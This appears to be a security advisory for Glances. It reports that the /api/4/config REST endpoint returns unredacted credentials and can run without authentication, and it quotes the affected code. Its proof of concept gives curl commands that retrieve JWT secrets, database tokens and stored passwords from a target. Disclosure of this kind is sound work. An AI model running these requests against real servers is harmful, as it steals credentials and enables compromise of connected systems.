Summary The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.asdict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.
Details Root Cause: The asdict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.
Affected Code: - File: glances/outputs/glancesrestfulapi.py, lines 1154-1167 def apiconfig(self): """Glances API RESTful implementation.
Return the JSON representation of the Glances configuration file HTTP/200 if OK HTTP/404 if others error """ try: # Get the RAW value of the config' dict argsjson = self.config.asdict() # <-- Returns ALL config including secrets except Exception as e: raise HTTPException(status.HTTP404NOTFOUND, f"Cannot get config ({str(e)})") else: return GlancesJSONResponse(argsjson)
- File: glances/config.py, lines 280-287 def asdict(self): """Return the configuration as a dict""" dictionary = {} for section in self.parser.sections(): dictionary[section] = {} for option in self.parser.options(section): dictionary[section][option] = self.parser.get(section, option) # No filtering return dictionary - File: glances/outputs/glancesrestfulapi.py, lines 472-475 (authentication bypass) if self.args.password: router = APIRouter(prefix=self.urlprefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.urlprefix) # No authentication! PoC - Start Glances in default webserver mode: glances -w Glances web server started on http://0.0.0.0:61208/ - From any network-reachable host, retrieve all configuration secrets: Get entire config including all credentials curl http://target:61208/api/4/config Step 3: Extract specific secrets: Get JWT secret key for token forgery curl http://target:61208/api/4/config/outputs/jwtsecretkey
Get InfluxDB token curl http://target:61208/api/4/config/influxdb2/token
Get all stored server passwords curl http://target:61208/api/4/config/passwords Impact Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.